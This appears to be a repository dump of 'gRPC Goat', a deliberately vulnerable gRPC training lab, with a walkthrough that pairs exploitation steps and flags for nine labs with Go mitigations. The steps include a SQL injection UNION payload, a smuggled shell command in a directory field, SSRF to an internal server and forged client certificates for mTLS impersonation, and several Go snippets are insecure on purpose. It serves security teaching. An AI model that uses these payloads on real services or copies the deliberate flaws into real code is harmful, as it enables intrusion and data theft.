46 | - **Lab 003**: Billing Service - TLS implementation vulnerabilities
47 | - **Lab 006**: Admin Service - Unix socket permission issues
48 |
49 | ### Injection Attacks
50 | - **Lab 007**: User Directory - SQL injection in gRPC services
51 | - **Lab 008**: File Processor - Command injection vulnerabilities
52 | - **Lab 009**: Image Preview - Server-Side Request Forgery (SSRF)
53 |
54 |
57 |
58 | ## Learning Path
59 |
60 | ### For Beginners
61 | Start with these foundational labs to understand basic gRPC security concepts:
62 | 1. **Lab 001** - gRPC Reflection (easiest to understand and exploit)
63 | 2. **Lab 002** - Plaintext Communications (demonstrates basic transport security)
64 | 3. **Lab 007** - SQL Injection (familiar vulnerability in gRPC context)
65 |
66 | ### For Intermediate Users
67 | Explore authentication and transport security issues:
68 | 1. **Lab 003** - Insecure TLS Implementation
69 | 2. **Lab 004** - mTLS Misconfigurations
70 | 3. **Lab 006** - Unix Socket Permissions
71 |
72 | ### For Advanced Users
73 | Tackle complex vulnerabilities and advanced attack scenarios:
74 | 1. **Lab 005** - Advanced Certificate Validation Bypasses
75 | 2. **Lab 008** - Command Injection in gRPC Services
76 | 3. **Lab 009** - Server-Side Request Forgery (SSRF)
77 |
78 | ## Getting Started
79 |
80 | 1. **Choose a lab** from the table above based on your experience level
81 | 2. **Set up the environment** following the [installation guide](/docs/grpc_goat_docs/getting-started)
82 | 3. **Follow the lab instructions** to exploit the vulnerability
83 | 4. **Study the mitigation** techniques to secure your own gRPC services
84 | 5. **Practice with different tools** like Postman, grpcurl, or BloomRPC
85 |
86 | Ready to start? Head to [Getting Started](/docs/grpc_goat_docs/getting-started) to set up your lab environment!
--------------------------------------------------------------------------------
/docs/walkthrough.mdx:
--------------------------------------------------------------------------------
1 | ---
2 | title: 'Walkthrough'
3 | description: 'Step-by-step exploitation guide for all gRPC security vulnerabilities'
4 | order: 4
5 | ---
6 |
7 | import { Aside } from 'astro-pure/user'
8 |
9 | # gRPC Goat Walkthrough
10 |
11 | This guide provides step-by-step instructions for exploiting each vulnerability in gRPC Goat. Each lab demonstrates a real-world security issue and includes the commands needed to capture the flag.
12 |
13 |
16 |
17 | 
18 |
19 | ## Lab 001: gRPC Reflection Enabled
20 |
21 | **Vulnerability**: Service Discovery API exposes hidden admin methods through gRPC reflection.
22 |
23 | ### Vulnerable Code Snippet
24 | ```go
25 | // VULNERABILITY: Reflection enabled, exposing all service methods
26 | reflection.Register(s)
27 |
28 | func (s *serviceDiscoveryServer) AdminListAllServices(ctx context.Context, req *pb.AdminListAllServicesRequest) (*pb.AdminListAllServicesResponse, error) {
29 | // No authentication check - returns sensitive admin services
30 | return &pb.AdminListAllServicesResponse{
31 | AdminServices: adminServices,
32 | Flag: "GRPC_GOAT{...}",
33 | }, nil
34 | }
35 | ```
36 |
37 | ### What to Look For
38 | - gRPC reflection service enabled
39 | - Hidden admin endpoints not meant for public access
40 | - Sensitive methods discoverable through enumeration
41 |
42 |
43 | **Exploitation Steps** (Click to reveal)
44 |
45 | ```bash
46 | # Start the lab
47 | docker compose up grpc-001 --build
48 |
49 | # 1. Discover services via reflection
50 | grpcurl -plaintext localhost:8001 list
51 |
52 | # 2. Enumerate methods in the service
53 | grpcurl -plaintext localhost:8001 list servicediscovery.ServiceDiscovery
54 |
55 | # 3. Call the hidden admin method
56 | grpcurl -plaintext -d '{"admin_token": "fake"}' \
57 | localhost:8001 servicediscovery.ServiceDiscovery/AdminListAllServices
58 | ```
59 |
60 |
61 |
62 |
63 | **Flag** (Click to reveal)
64 |
65 | `GRPC_GOAT{reflection_exposes_hidden_admin_methods}`
66 |
67 |
68 |
69 | ### Mitigation
70 | ```go
71 | // DON'T: Enable reflection in production
72 | // reflection.Register(s)
73 |
74 | // DO: Disable reflection in production
75 | if os.Getenv("ENVIRONMENT") == "development" {
76 | reflection.Register(s)
77 | }
78 |
79 | // DO: Add authentication for admin methods
80 | if !isValidAdminToken(req.AdminToken) {
81 | return nil, status.Errorf(codes.Unauthenticated, "invalid admin token")
82 | }
83 | ```
84 |
85 | ---
86 |
87 | ## Lab 002: Plaintext gRPC
88 |
89 | **Vulnerability**: Auth Service sends credentials over unencrypted gRPC connections.
90 |
91 | ### Vulnerable Code Snippet
92 | ```go
93 | func (s *authServer) Login(ctx context.Context, req *pb.LoginRequest) (*pb.LoginResponse, error) {
94 | // VULNERABILITY: Credentials logged in plaintext
95 | log.Printf("Login attempt - Username: %s, Password: %s", req.Username, req.Password)
96 |
97 | return &pb.LoginResponse{
98 | SessionToken: "session_" + req.Username + "_12345", // Predictable token
99 | Flag: "GRPC_GOAT{...}",
100 | }, nil
101 | }
102 |
103 | // VULNERABILITY: Server runs without TLS
104 | s := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor))
105 | ```
106 |
107 | ### Lab Objective
108 | To solve this lab, you simply connect to the plaintext gRPC service and call the authentication method with valid credentials. However, examining the service reveals additional security concerns:
109 |
110 | **Immediate Issue (Lab Focus)**:
111 | - Service accepts plaintext connections without requiring TLS
112 | - Credentials are logged in server logs
113 |
114 | **Broader Security Implications**:
115 | - **Network Traffic Exposure**: In a real environment, credentials would be visible to anyone monitoring network traffic
116 | - **Man-in-the-Middle Attacks**: Attackers could intercept and modify communications
117 | - **Credential Harvesting**: Network-level attackers could collect authentication data
118 |
119 | ### What to Look For
120 | - No TLS encryption on gRPC connections
121 | - Credentials transmitted in plaintext
122 | - Network traffic interception opportunities
123 |
124 |
125 | **Exploitation Steps** (Click to reveal)
126 |
127 | ```bash
128 | # Start the lab
129 | docker compose up grpc-002 --build
130 |
131 | # 1. Attempt login (credentials visible in network traffic)
132 | grpcurl -plaintext -d '{"username": "admin", "password": "admin123"}' \
133 | localhost:8002 auth.AuthService/Login
134 |
135 | # 2. Try other credentials
136 | grpcurl -plaintext -d '{"username": "user", "password": "password123"}' \
137 | localhost:8002 auth.AuthService/Login
138 | ```
139 |
140 |
141 |
142 |
143 | **Flag** (Click to reveal)
144 |
145 | `GRPC_GOAT{plaintext_credentials_intercepted}`
146 |
147 |
148 |
149 | ### Mitigation
150 | ```go
151 | // Use TLS for all gRPC connections
152 | creds := credentials.NewTLS(&tls.Config{
153 | Certificates: []tls.Certificate{cert},
154 | })
155 | s := grpc.NewServer(grpc.Creds(creds))
156 |
157 | // Implement secure authentication
158 | func (s *authServer) Login(ctx context.Context, req *pb.LoginRequest) (*pb.LoginResponse, error) {
159 | // Don't log sensitive data
160 | if !verifyPassword(req.Username, req.Password) {
161 | return nil, status.Errorf(codes.Unauthenticated, "invalid credentials")
162 | }
163 |
164 | token, err := generateSecureToken()
165 | return &pb.LoginResponse{SessionToken: token}, nil
166 | }
167 | ```
168 |
169 | ---
170 |
171 | ## Lab 003: Insecure TLS
172 |
173 | **Vulnerability**: Billing Service uses self-signed certificates that can't be properly verified.
174 |
175 | ### Vulnerable Code Snippet
176 | ```go
177 | func (s *billingServer) ProcessPayment(ctx context.Context, req *pb.PaymentRequest) (*pb.PaymentResponse, error) {
178 | // VULNERABILITY: Sensitive payment data logged
179 | log.Printf("Payment processing - Card: %s, CVV: %s", req.CardNumber, req.Cvv)
180 |
181 | return &pb.PaymentResponse{
182 | Flag: "GRPC_GOAT{...}",
183 | }, nil
184 | }
185 |
186 | // VULNERABILITY: Self-signed certificate with weak TLS config
187 | tlsConfig := &tls.Config{
188 | Certificates: []tls.Certificate{selfSignedCert}, // Self-signed!
189 | }
190 | ```
191 |
192 | ### Lab Objective
193 | To solve this lab, you bypass certificate validation using the `-insecure` flag to connect to a service with a self-signed certificate. However, this reveals deeper security issues:
194 |
195 | **Immediate Issue (Lab Focus)**:
196 | - Service uses self-signed certificates that clients must bypass
197 | - Sensitive payment data is logged in plaintext
198 |
199 | **Broader Security Implications**:
200 | - **Trust Establishment**: Clients cannot verify server identity, enabling impersonation attacks
201 |
202 | ### What to Look For
203 | - Self-signed TLS certificates
204 | - Certificate validation bypasses required
205 | - Man-in-the-middle attack opportunities
206 |
207 |
208 | **Exploitation Steps** (Click to reveal)
209 |
210 | ```bash
211 | # Start the lab
212 | docker compose up grpc-003 --build
213 |
214 | # 1. Connect with insecure TLS (ignore certificate errors)
215 | grpcurl -insecure -d '{
216 | "customer_id": "CUST001",
217 | "card_number": "4111111111111111",
218 | "expiry_date": "12/25",
219 | "cvv": "123",
220 | "amount": 99.99,
221 | "currency": "USD"
222 | }' localhost:8003 billing.BillingService/ProcessPayment
223 | ```
224 |
225 |
226 |
227 |
228 | **Flag** (Click to reveal)
229 |
230 | `GRPC_GOAT{insecure_tls_allows_mitm_attacks}`
231 |
232 |
233 |
234 | ### Mitigation
235 | ```go
236 | // Use proper CA-signed certificates
237 | cert, err := tls.LoadX509KeyPair("server.crt", "server.key")
238 |
239 | // Configure secure TLS
240 | tlsConfig := &tls.Config{
241 | Certificates: []tls.Certificate{cert},
242 | MinVersion: tls.VersionTLS12,
243 | }
244 |
245 | // Don't log sensitive data
246 | func (s *billingServer) ProcessPayment(ctx context.Context, req *pb.PaymentRequest) (*pb.PaymentResponse, error) {
247 | log.Printf("Processing payment for customer: %s", req.CustomerId) // Safe logging
248 | // Process payment securely...
249 | }
250 | ```
251 |
252 | ---
253 |
254 | ## Lab 004: Arbitrary mTLS
255 |
256 | **Vulnerability**: Partner API accepts any client certificate, allowing impersonation.
257 |
258 | ### Vulnerable Code Snippet
259 | ```go
260 | func (s *partnerServer) GetPartnerData(ctx context.Context, req *pb.PartnerDataRequest) (*pb.PartnerDataResponse, error) {
261 | // VULNERABILITY: Returns sensitive data without proper certificate validation
262 | partners := []*pb.PartnerInfo{
263 | {ApiKey: "tc_live_sk_1234567890abcdef", Secret: "tc_secret_xyz789"},
264 | }
265 | return &pb.PartnerDataResponse{Partners: partners, Flag: "GRPC_GOAT{...}"}, nil
266 | }
267 |
268 | // VULNERABILITY: mTLS accepts ANY client certificate
269 | tlsConfig := &tls.Config{
270 | ClientAuth: tls.RequireAnyClientCert, // Accepts any certificate!
271 | }
272 | ```
273 |
274 | ### Lab Objective
275 | To solve this lab, you generate a self-signed client certificate and use it to access partner data. This demonstrates how improper mTLS configuration can be exploited:
276 |
277 | **Immediate Issue (Lab Focus)**:
278 | - mTLS configuration accepts any client certificate without validation
279 | - No verification against a trusted Certificate Authority
280 |
281 | **Broader Security Implications**:
282 | - **Partner Impersonation**: Any attacker can create certificates and pose as legitimate partners
283 | - **Data Breach**: Sensitive partner API keys and secrets are exposed to unauthorized clients
284 | - **Trust Model Failure**: The entire purpose of mTLS (mutual authentication) is defeated
285 |
286 | ### What to Look For
287 | - mTLS configuration that accepts any certificate
288 | - No certificate authority validation
289 | - Partner impersonation possibilities
290 |
291 |
292 | **Exploitation Steps** (Click to reveal)
293 |
294 | ```bash
295 | # Start the lab
296 | docker compose up grpc-004 --build
297 |
298 | # 1. Generate fake client certificate
299 | openssl genrsa -out client.key 2048
300 | openssl req -new -key client.key -out client.csr -subj "/CN=FakePartner/O=AttackerCorp"
301 | openssl x509 -req -in client.csr -signkey client.key -out client.crt -days 365
302 |
303 | # 2. Use fake certificate to access partner data
304 | grpcurl -insecure -cert client.crt -key client.key -d '{
305 | "partner_id": "FAKE_PARTNER",
306 | "data_type": "all"
307 | }' localhost:8004 partner.PartnerAPI/GetPartnerData
308 | ```
309 |
310 |
311 |
312 |
313 | **Flag** (Click to reveal)
314 |
315 | `GRPC_GOAT{arbitrary_mtls_bypasses_partner_auth}`
316 |
317 |
318 |
319 | ### Mitigation
320 | ```go
321 | // Use proper CA validation for mTLS
322 | caCertPool := x509.NewCertPool()
323 | caCertPool.AppendCertsFromPEM(caCert)
324 |
325 | tlsConfig := &tls.Config{
326 | ClientAuth: tls.RequireAndVerifyClientCert,
327 | ClientCAs: caCertPool, // Verify against trusted CA
328 | }
329 |
330 | // Validate client certificate in handler
331 | func (s *partnerServer) GetPartnerData(ctx context.Context, req *pb.PartnerDataRequest) (*pb.PartnerDataResponse, error) {
332 | if !isValidPartnerCertificate(tlsInfo.State.PeerCertificates[0]) {
333 | return nil, status.Errorf(codes.PermissionDenied, "invalid partner certificate")
334 | }
335 | // Return data only after validation...
336 | }
337 | ```
338 |
339 | ---
340 |
341 | ## Lab 005: mTLS Subject Validation
342 |
343 | **Vulnerability**: Partner API validates subject name but accepts self-signed certificates.
344 |
345 | ### Vulnerable Code Snippet
346 | ```go
347 | func (s *partnerServer) GetPartnerData(ctx context.Context, req *pb.PartnerDataRequest) (*pb.PartnerDataResponse, error) {
348 | cert := tlsInfo.State.PeerCertificates[0]
349 | expectedSubject := "goatpartner.local"
350 |
351 | // VULNERABILITY: Only checking subject CN, not validating against trusted CA
352 | if cert.Subject.CommonName != expectedSubject {
353 | return &pb.PartnerDataResponse{Success: false}, nil
354 | }
355 |
356 | // Returns sensitive data if subject matches (even with self-signed cert)
357 | return &pb.PartnerDataResponse{Partners: partners, Flag: "GRPC_GOAT{...}"}, nil
358 | }
359 |
360 | // VULNERABILITY: Still accepts any client certificate
361 | tlsConfig := &tls.Config{
362 | ClientAuth: tls.RequireAnyClientCert, // No CA validation!
363 | }
364 | ```
365 |
366 | ### Lab Objective
367 | To solve this lab, you create a self-signed certificate with the correct subject name (`goatpartner.local`) to bypass the subject validation. This demonstrates a common mTLS misconfiguration:
368 |
369 | **Immediate Issue (Lab Focus)**:
370 | - Service validates certificate subject but not the certificate authority
371 | - Self-signed certificates with correct subjects are accepted
372 |
373 | **Broader Security Implications**:
374 | - **Partner Impersonation**: Attackers can create certificates with legitimate subjects and pose as trusted partners
375 | - **Data Breach**: Sensitive partner data is exposed to unauthorized clients with forged certificates
376 | - **Trust Model Failure**: Subject validation alone is insufficient without proper CA verification
377 |
378 | ### What to Look For
379 | - Subject name validation in mTLS
380 | - Acceptance of self-signed certificates
381 | - Certificate impersonation with correct subject
382 |
383 |
384 | **Exploitation Steps** (Click to reveal)
385 |
386 | ```bash
387 | # Start the lab
388 | docker compose up grpc-005 --build
389 |
390 | # 1. Generate certificate with required subject name
391 | openssl genrsa -out client.key 2048
392 | openssl req -new -key client.key -out client.csr -subj "/CN=goatpartner.local/O=AttackerCorp"
393 | openssl x509 -req -in client.csr -signkey client.key -out client.crt -days 365
394 |
395 | # 2. Access partner data with correct subject
396 | grpcurl -insecure -cert client.crt -key client.key -d '{
397 | "partner_id": "GOAT_PARTNER",
398 | "data_type": "all"
399 | }' localhost:8005 partner.PartnerAPI/GetPartnerData
400 | ```
401 |
402 |
403 |
404 |
405 | **Flag** (Click to reveal)
406 |
407 | `GRPC_GOAT{subject_validation_insufficient_for_mtls}`
408 |
409 |
410 |
411 | ### Mitigation
412 | ```go
413 | // Validate both subject AND certificate authority
414 | func (s *partnerServer) GetPartnerData(ctx context.Context, req *pb.PartnerDataRequest) (*pb.PartnerDataResponse, error) {
415 | cert := tlsInfo.State.PeerCertificates[0]
416 |
417 | // First validate certificate chain against trusted CA
418 | opts := x509.VerifyOptions{Roots: trustedCAPool}
419 | if _, err := cert.Verify(opts); err != nil {
420 | return nil, status.Errorf(codes.Unauthenticated, "certificate verification failed")
421 | }
422 |
423 | // Then check subject name
424 | if cert.Subject.CommonName != "goatpartner.local" {
425 | return nil, status.Errorf(codes.PermissionDenied, "invalid certificate subject")
426 | }
427 | // Return data only after full validation
428 | }
429 |
430 | // Use proper CA validation in TLS config
431 | tlsConfig := &tls.Config{
432 | ClientAuth: tls.RequireAndVerifyClientCert,
433 | ClientCAs: trustedCAPool,
434 | }
435 | ```
436 |
437 | ---
438 |
439 | ## Lab 006: Unix Socket World Writable
440 |
441 | **Vulnerability**: Admin service uses Unix socket with world read/write permissions.
442 |
443 | ### Vulnerable Code Snippet
444 | ```go
445 | func main() {
446 | socketPath := "/tmp/grpc-admin.sock"
447 | lis, err := net.Listen("unix", socketPath)
448 |
449 | // VULNERABILITY: Set world read/write permissions
450 | err = os.Chmod(socketPath, 0666) // rw-rw-rw- (world writable!)
451 | }
452 |
453 | func (s *adminServer) ExecuteCommand(ctx context.Context, req *pb.CommandRequest) (*pb.CommandResponse, error) {
454 | // VULNERABILITY: No authentication check for admin commands
455 | staticOutput := "GRPC_GOAT{...}\nroot\nuid=0(root) gid=0(root)"
456 | return &pb.CommandResponse{Success: true, Output: staticOutput}, nil
457 | }
458 | ```
459 |
460 | ### What to Look For
461 | - Unix domain sockets with improper permissions
462 | - Privilege escalation opportunities
463 | - Access to admin functions by any user
464 |
465 |
466 | **Exploitation Steps** (Click to reveal)
467 |
468 | ```bash
469 | # Start the lab
470 | docker compose up grpc-006 --build
471 | docker exec -it grpc-goat-006 sh
472 |
473 | # 1. Check socket permissions
474 | ls -la /tmp/grpc-admin.sock
475 |
476 | # 2. Install grpcurl in container
477 | apk add --no-cache go
478 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
479 |
480 | # 3. Connect via Unix socket
481 | grpcurl -plaintext -unix /tmp/grpc-admin.sock admin.AdminService/GetSystemInfo
482 |
483 | # 4. Execute admin commands
484 | grpcurl -plaintext -unix /tmp/grpc-admin.sock -d '{
485 | "command": "whoami"
486 | }' admin.AdminService/ExecuteCommand
487 | ```
488 |
489 |
490 |
491 |
492 | **Flag** (Click to reveal)
493 |
494 | `GRPC_GOAT{unix_socket_world_writable_privilege_escalation}`
495 |
496 |
497 |
498 | ### Mitigation
499 | ```go
500 | func main() {
501 | socketPath := "/tmp/grpc-admin.sock"
502 | lis, err := net.Listen("unix", socketPath)
503 |
504 | // Set restrictive permissions (owner only)
505 | err = os.Chmod(socketPath, 0600) // rw------- (owner only)
506 |
507 | // Change ownership to specific user/group
508 | if err := os.Chown(socketPath, adminUID, adminGID); err != nil {
509 | log.Fatalf("Failed to set socket ownership: %v", err)
510 | }
511 | }
512 |
513 | // Implement proper authentication
514 | func (s *adminServer) ExecuteCommand(ctx context.Context, req *pb.CommandRequest) (*pb.CommandResponse, error) {
515 | // Validate admin privileges
516 | if !isAuthorizedAdmin(ctx) {
517 | return nil, status.Errorf(codes.PermissionDenied, "admin privileges required")
518 | }
519 |
520 | // Validate and sanitize commands
521 | if !isAllowedCommand(req.Command) {
522 | return nil, status.Errorf(codes.InvalidArgument, "command not allowed")
523 | }
524 | // Execute securely...
525 | }
526 | ```
527 |
528 | ---
529 |
530 | ## Lab 007: SQL Injection
531 |
532 | **Vulnerability**: User Directory service has SQL injection in username search.
533 |
534 | ### Vulnerable Code Snippet
535 | ```go
536 | func (s *userDirectoryServer) SearchUsers(ctx context.Context, req *pb.SearchUsersRequest) (*pb.SearchUsersResponse, error) {
537 | // VULNERABILITY: SQL injection - directly concatenating user input
538 | query := fmt.Sprintf("SELECT username, email, role FROM users WHERE username = '%s'", req.Username)
539 |
540 | rows, err := s.db.Query(query) // Vulnerable to SQL injection!
541 |
542 | // Check if we found the flag user
543 | if user.Username == "flag_user" || strings.Contains(user.Role, "GRPC_GOAT") {
544 | flag = "GRPC_GOAT{...}"
545 | }
546 |
547 | return &pb.SearchUsersResponse{Users: users, Flag: flag}, nil
548 | }
549 | ```
550 |
551 | ### What to Look For
552 | - Unsanitized database queries
553 | - SQL injection in gRPC parameters
554 | - Data exfiltration opportunities
555 |
556 |
557 | **Exploitation Steps** (Click to reveal)
558 |
559 | ```bash
560 | # Start the lab
561 | docker compose up grpc-007 --build
562 |
563 | # 1. Normal search
564 | grpcurl -plaintext -d '{
565 | "username": "john"
566 | }' localhost:8007 userdirectory.UserDirectory/SearchUsers
567 |
568 | # 2. SQL injection to get all users
569 | grpcurl -plaintext -d '{
570 | "username": "admin'\'' UNION SELECT username, email, role FROM users WHERE role='\''admin'\'' --"
571 | }' localhost:8007 userdirectory.UserDirectory/SearchUsers
572 | ```
573 |
574 |
575 |
576 |
577 | **Flag** (Click to reveal)
578 |
579 | `GRPC_GOAT{sql_injection_data_exfiltration}`
580 |
581 |
582 |
583 | ### Mitigation
584 | ```go
585 | // Use parameterized queries to prevent SQL injection
586 | func (s *userDirectoryServer) SearchUsers(ctx context.Context, req *pb.SearchUsersRequest) (*pb.SearchUsersResponse, error) {
587 | // Validate input
588 | if req.Username == "" {
589 | return nil, status.Errorf(codes.InvalidArgument, "username cannot be empty")
590 | }
591 |
592 | // Use parameterized query
593 | query := "SELECT username, email, role FROM users WHERE username = ?"
594 | rows, err := s.db.Query(query, req.Username) // Safe parameterized query
595 |
596 | // Process results safely...
597 | return &pb.SearchUsersResponse{Success: true, Users: users}, nil
598 | }
599 |
600 | // Use an ORM for additional safety
601 | result := s.db.Where("username = ?", req.Username).Find(&users)
602 | ```
603 |
604 | ---
605 |
606 | ## Lab 008: Command Injection
607 |
608 | **Vulnerability**: File Processor service has command injection in directory listing.
609 |
610 | ### Vulnerable Code Snippet
611 | ```go
612 | func (s *fileProcessorServer) ListFiles(ctx context.Context, req *pb.ListFilesRequest) (*pb.ListFilesResponse, error) {
613 | // VULNERABILITY: Command injection - directly using user input
614 | command := fmt.Sprintf("ls -la %s", req.Directory)
615 |
616 | // Vulnerable: User input directly passed to shell
617 | output, err := exec.Command("sh", "-c", command).Output()
618 |
619 | // Check if flag was read through command injection
620 | if strings.Contains(outputStr, "GRPC_GOAT{command_injection_file_listing}") {
621 | flag = "GRPC_GOAT{...}"
622 | }
623 |
624 | return &pb.ListFilesResponse{Success: true, Output: outputStr, Flag: flag}, nil
625 | }
626 | ```
627 |
628 | ### What to Look For
629 | - Unsanitized command execution
630 | - Shell injection opportunities
631 | - System command execution
632 |
633 |
634 | **Exploitation Steps** (Click to reveal)
635 |
636 | ```bash
637 | # Start the lab
638 | docker compose up grpc-008 --build
639 |
640 | # 1. Normal directory listing
641 | grpcurl -plaintext -d '{
642 | "directory": "/tmp"
643 | }' localhost:8008 fileprocessor.FileProcessor/ListFiles
644 |
645 | # 2. Command injection to read flag
646 | grpcurl -plaintext -d '{
647 | "directory": "/tmp; cat /tmp/flag.txt"
648 | }' localhost:8008 fileprocessor.FileProcessor/ListFiles
649 | ```
650 |
651 |
652 |
653 |
654 | **Flag** (Click to reveal)
655 |
656 | `GRPC_GOAT{command_injection_file_listing}`
657 |
658 |
659 |
660 | ### Mitigation
661 | ```go
662 | // Validate and sanitize input, avoid shell execution
663 | func (s *fileProcessorServer) ListFiles(ctx context.Context, req *pb.ListFilesRequest) (*pb.ListFilesResponse, error) {
664 | // Validate directory path
665 | if !isValidPath(req.Directory) {
666 | return nil, status.Errorf(codes.InvalidArgument, "invalid directory path")
667 | }
668 |
669 | // Use filepath.Clean to prevent path traversal
670 | cleanPath := filepath.Clean(req.Directory)
671 |
672 | // Validate against allowed directories
673 | if !isAllowedDirectory(cleanPath) {
674 | return nil, status.Errorf(codes.PermissionDenied, "directory access not allowed")
675 | }
676 |
677 | // Use Go's built-in functions instead of shell commands
678 | files, err := ioutil.ReadDir(cleanPath)
679 | if err != nil {
680 | return nil, status.Errorf(codes.NotFound, "failed to read directory")
681 | }
682 | // Process files safely...
683 | }
684 |
685 | func isValidPath(path string) bool {
686 | matched, _ := regexp.MatchString(`^[a-zA-Z0-9/_.-]+$`, path)
687 | return matched
688 | }
689 | ```
690 |
691 | ---
692 |
693 | ## Lab 009: Server-Side Request Forgery (SSRF)
694 |
695 | **Vulnerability**: Image Preview service fetches URLs without validation.
696 |
697 | ### Vulnerable Code Snippet
698 | ```go
699 | func (s *imagePreviewServer) FetchImage(ctx context.Context, req *pb.FetchImageRequest) (*pb.FetchImageResponse, error) {
700 | // VULNERABILITY: SSRF - directly fetching user-provided URLs without validation
701 | client := &http.Client{Timeout: 10 * time.Second}
702 |
703 | // No URL validation - can access internal services!
704 | resp, err := client.Get(req.Url)
705 |
706 | body, err := io.ReadAll(resp.Body)
707 | return &pb.FetchImageResponse{
708 | Success: true,
709 | Content: string(body), // Returns internal service responses
710 | }, nil
711 | }
712 |
713 | // Internal flag server accessible via SSRF
714 | func startFlagServer() {
715 | http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
716 | fmt.Fprint(w, "GRPC_GOAT{...}") // Flag accessible via SSRF
717 | })
718 | go http.ListenAndServe("127.0.0.1:8080", nil)
719 | }
720 | ```
721 |
722 | ### What to Look For
723 | - Server-side URL fetching
724 | - No URL validation or filtering
725 | - Internal service access opportunities
726 |
727 |
728 | **Exploitation Steps** (Click to reveal)
729 |
730 | ```bash
731 | # Start the lab
732 | docker compose up grpc-009 --build
733 |
734 | # 1. Normal external URL fetch
735 | grpcurl -plaintext -d '{
736 | "url": "https://httpbin.org/get"
737 | }' localhost:8009 imagepreview.ImagePreview/FetchImage
738 |
739 | # 2. SSRF to access internal flag server
740 | grpcurl -plaintext -d '{
741 | "url": "http://localhost:8080/flag"
742 | }' localhost:8009 imagepreview.ImagePreview/FetchImage
743 | ```
744 |
745 |
746 |
747 |
748 | **Flag** (Click to reveal)
749 |
750 | `GRPC_GOAT{ssrf_internal_service_access}`
751 |
752 |
753 |
754 | ### Mitigation
755 | ```go
756 | // Implement URL validation and filtering
757 | func (s *imagePreviewServer) FetchImage(ctx context.Context, req *pb.FetchImageRequest) (*pb.FetchImageResponse, error) {
758 | // Validate URL format
759 | parsedURL, err := url.Parse(req.Url)
760 | if err != nil {
761 | return nil, status.Errorf(codes.InvalidArgument, "invalid URL format")
762 | }
763 |
764 | // Only allow HTTP/HTTPS schemes
765 | if parsedURL.Scheme != "http" && parsedURL.Scheme != "https" {
766 | return nil, status.Errorf(codes.InvalidArgument, "only HTTP/HTTPS URLs allowed")
767 | }
768 |
769 | // Block internal/private IP ranges
770 | if isInternalIP(parsedURL.Hostname()) {
771 | return nil, status.Errorf(codes.PermissionDenied, "access to internal IPs not allowed")
772 | }
773 |
774 | // Use allowlist of permitted domains
775 | if !isAllowedDomain(parsedURL.Hostname()) {
776 | return nil, status.Errorf(codes.PermissionDenied, "domain not in allowlist")
777 | }
778 | // Configure secure HTTP client...
779 | }
780 |
781 | func isInternalIP(hostname string) bool {
782 | ip := net.ParseIP(hostname)
783 | return ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast()
784 | }
785 | ```
786 |
787 | ---
788 |
789 | ## Security Lessons Learned
790 |
791 | ### Understanding Lab vs. Real-World Vulnerabilities
792 |
793 | **Important Note**: The labs focus on demonstrating specific gRPC vulnerabilities through direct exploitation techniques. However, many of the underlying security issues have broader implications in real-world scenarios:
794 |
795 | - **Lab Approach**: Direct connection and exploitation to demonstrate the core vulnerability
796 | - **Real-World Impact**: These same vulnerabilities enable more sophisticated attacks like network interception, MITM attacks, and other advanced techniques
797 |
798 | For example, while Lab 002 shows direct plaintext connection, the real security risk is that credentials would be visible to network monitoring tools, packet sniffers, or man-in-the-middle attackers in production environments.
799 |
800 | ### Key Takeaways
801 |
802 | 1. **Disable gRPC Reflection** in production environments to prevent service discovery
803 | 2. **Always use TLS** for gRPC communications to protect data in transit
804 | 3. **Implement proper certificate validation** for mTLS with trusted CAs
805 | 4. **Set correct file permissions** for Unix sockets (600 or 660, not 666)
806 | 5. **Sanitize all user inputs** to prevent injection attacks (SQL, command, etc.)
807 | 6. **Validate and filter URLs** in server-side requests to prevent SSRF
808 | 7. **Use proper authentication** and authorization for all sensitive operations
809 | 8. **Implement comprehensive logging** and monitoring for security events
810 |
811 | ### Best Practices Summary
812 |
813 | | Vulnerability Type | Key Mitigation |
814 | |-------------------|----------------|
815 | | **gRPC Reflection** | Disable in production, use authentication for admin methods |
816 | | **Plaintext gRPC** | Always use TLS, implement secure authentication |
817 | | **Insecure TLS** | Use CA-signed certificates, proper TLS configuration |
818 | | **Arbitrary mTLS** | Validate certificates against trusted CAs |
819 | | **Subject Validation** | Combine subject validation with CA verification |
820 | | **Unix Socket Permissions** | Use restrictive permissions (600), proper ownership |
821 | | **SQL Injection** | Use parameterized queries, input validation |
822 | | **Command Injection** | Avoid shell execution, shell escaping, validate/sanitize inputs |
823 | | **SSRF** | URL validation, IP filtering, domain allowlists |
824 |
825 |
828 |
829 | ## Next Steps
830 |
831 | Congratulations on completing the gRPC Goat labs! To continue your gRPC security journey:
832 |
833 | 1. **Practice Defense**: Try to fix each vulnerability in the lab code using the provided mitigations
834 | 2. **Learn More**: Study gRPC security best practices and official security guidelines
835 | 3. **Apply Knowledge**: Audit your own gRPC services for similar security issues
836 | 4. **Share**: Help others learn by contributing to the project or sharing your experience
837 | 5. **Advanced Practice**: Set up your own vulnerable gRPC services to practice with
838 |
839 | ### Additional Resources
840 |
841 | - [gRPC Security Guide](https://grpc.io/docs/guides/security/)
842 | - [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)
843 | - [gRPC Authentication Documentation](https://grpc.io/docs/guides/auth/)
844 |
845 | Ready to secure your gRPC applications? Apply these lessons to your real-world projects!
846 |
--------------------------------------------------------------------------------
/grpc_goat_comp.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rootxjs/grpc-goat/4aefc57e9df44d75fb92c0f8a2537b54213c51b7/grpc_goat_comp.webp
--------------------------------------------------------------------------------
/labs/grpc-001-reflection-enabled/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.23-alpine AS builder
2 |
3 | # Set Go environment
4 | ENV GOTOOLCHAIN=go1.23.4
5 |
6 | # Install protoc and plugins
7 | RUN apk add --no-cache protobuf-dev
8 | RUN go version
9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0
10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0
11 |
12 | WORKDIR /app
13 | COPY server/ .
14 |
15 | # Generate protobuf code
16 | RUN protoc --go_out=. --go_opt=paths=source_relative \
17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \
18 | proto/service_discovery.proto
19 |
20 | # Build the application
21 | RUN go mod tidy
22 | RUN go build -o service-discovery main.go
23 |
24 | # Final stage
25 | FROM alpine:latest
26 | RUN apk --no-cache add ca-certificates
